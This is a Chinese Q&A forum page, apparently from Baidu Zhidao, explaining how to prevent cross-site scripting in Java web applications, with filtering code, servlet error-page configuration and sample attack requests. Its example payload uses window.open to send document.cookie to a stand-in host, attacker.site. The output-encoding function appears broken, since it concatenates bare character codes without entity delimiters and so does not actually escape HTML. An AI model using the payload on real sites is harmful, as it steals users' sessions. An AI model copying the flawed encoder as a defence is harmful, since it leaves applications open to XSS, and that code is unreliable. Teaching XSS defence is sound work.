• 新记

    • 如何防止跨站点脚本攻击

    如题所述

    举报该文章
    相关建议   2016-01-26
    防止跨站点脚本攻击的解决方法：

    1.输入过滤

    对每一个用户的输入或者请求首部，都要进行过滤。这需要程序员有良好的安全素养，而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题，如错误页等。
    final String filterPattern="[<>{}\\[\\];\\&]";
    String inputStr = s.replaceAll(filterPattern," ");

    2.输出过滤

    public static String encode(String data)
    {
    final StringBuffer buf = new StringBuffer();
    final char[] chars = data.toCharArray();
    for (int i = 0; i < chars.length; i++)
    {
    buf.append("" + (int) chars[i]);
    }
    return buf.toString();
    }
    public static String decodeHex(final String data,
    final String charEncoding)
    {
    if (data == null)
    {
    return null;
    }
    byte[] inBytes = null;
    try
    {
    inBytes = data.getBytes(charEncoding);
    }
    catch (UnsupportedEncodingException e)
    {
    //use default charset
    inBytes = data.getBytes();
    }

    byte[] outBytes = new byte[inBytes.length];
    int b1;
    int b2;
    int j=0;
    for (int i = 0; i < inBytes.length; i++)
    {
    if (inBytes[i] == '%')
    {
    b1 = Character.digit((char) inBytes[++i], 16);
    b2 = Character.digit((char) inBytes[++i], 16);
    outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
    (b2 & 0xf));
    }
    else
    {
    outBytes[j++] = inBytes[i];
    }
    }

    String encodedStr = null;
    try
    {
    encodedStr = new String(outBytes, 0, j, charEncoding);
    }
    catch (UnsupportedEncodingException e)
    {
    encodedStr = new String(outBytes, 0, j);
    }
    return encodedStr;
    }
    <!-- Maps the 404 Not Found response code
    to the error page /errPage404 -->

    <error-page>
    <error-code>404</error-code>
    <location>/errPage404</location>
    </error-page>

    <!-- Maps any thrown ServletExceptions
    to the error page /errPageServ -->
    <error-page>
    <exception-type>javax.servlet.ServletException</exception-type>
    <location>/errPageServ</location>
    </error-page>

    <!-- Maps any other thrown exceptions
    to a generic error page /errPageGeneric -->
    <error-page>
    <exception-type>java.lang.Throwable</exception-type>
    <location>/errPageGeneric</location>
    </error-page>
    任何的非servlet例外都被/errPageGeneric路径捕捉，这样就可以处理。
    Throwable throwable = (Throwable)
    request.getAttribute("javax.servlet.error.exception");
    String status_code = ((Integer)
    request.getAttribute("javax.servlet.error.status_code")).toString( );

    3.安装三方的应用防火墙，可以拦截css攻击。

    附：

    跨站脚本不像其他攻击只包含两个部分：攻击者和web站点。
    跨站脚本包含三个部分：攻击者，客户和web站点。
    跨站脚本攻击的目的是窃取客户的cookies，或者其他可以证明用户身份的敏感信息。

    攻击
    一个get请求
    GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
    Host:
    www.vulnerable.site
    会产生如下的结果
    <HTML>
    <Title>Welcome!</Title>
    Hi Joe Hacker
    <BR>
    Welcome to our system
    ...
    </HTML>
    但是如果请求被篡改
    GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
    Host: www.vulnerable.site
    就会得到如下的响应
    <HTML>
    <Title>Welcome!</Title>
    Hi <script>alert(document.cookie)</script>
    <BR>
    Welcome to our system
    ...
    </HTML>
    这样在客户端会有一段非法的脚本执行，这不具有破坏作用，但是如下的脚本就很危险了。
    http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>
    响应如下：
    <HTML>
    <Title>Welcome!</Title>
    Hi
    <script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script>
    <BR>
    Welcome to our system
    ...
    </HTML>
    浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站，这样攻击者就得到了客户的cookie。
    温馨提示：内容为网友见解，仅供参考
    其他看法
    第1个回答  2015-05-23
    你好~
    XSS漏洞产生的原因：

    跨站点脚本的主要原因是程序猿对用户的信任。开发人员轻松地认为用户永远不会试图执行什么出格的事情,所以他们创建应用程序,却没有使用任何额外的代码来过滤用户输入以阻止任何恶意活动。另一个原因是,这种攻击有许多变体，用制造出一种行之有效的XSS过滤器是一件比较困难的事情。
    但是这只是相对的，对用户输入数据的”编码”和”过滤”在任何时候都是很重要的，我们必须采取一些针对性的手段对其进行防御。

    如何创造一个良好的XSS过滤器来阻止大多数XSS攻击代码

    1 .需要重点”编码”和”过滤”的对象
    The URL
    HTTP referrer objects
    GET parameters from a form
    POST parameters from a form
    Window.location
    Document.referrer
    document.location
    document.URL
    document.URLUnencoded
    cookie data
    headers data
    database data

    防御XSS有一个原则:
    以当前的应用系统为中心，所有的进入应用系统的数据都看成是输入数据(包括从FORM表单或者从数据库获取到的数据)，所有从当前应用系统流出的数据都看作是输出(包括输出到用户浏览器或向数据库写入数据)
    对输入的数据进行”过滤”，对输出数据进行”编码”。这里的”编码”也要注意，必须针对数据具体的上下文语境进行针对性的编码。例如数据是输出到HTML中的那就要进行HtmlEncode，如果数据是输出到javascript代码中进行拼接的，那就要进行javascriptEncode。
    如果不搞清楚数据具体输出的语境，就有可能因为HtmlParser()和javascriptParser()两种解析引擎的执行先后问题导致看似严密的”编码”形同虚设。本回答被提问者和网友采纳
    相似回答
    大家正在搜
    相关问题
    如何防止跨站点脚本攻击
    如何防止跨站点脚本攻击
    跨站脚本攻击,如何利用工具和测试防范跨站点脚本攻击
    如何解决跨站脚本攻击
    跨站脚本攻击xss的原理是什么？有什么危害？如何防范
    解析如何防止XSS跨站脚本攻击
    如何解决跨站脚本攻击
    js用什么函数过滤非法字符防止跨站脚本攻击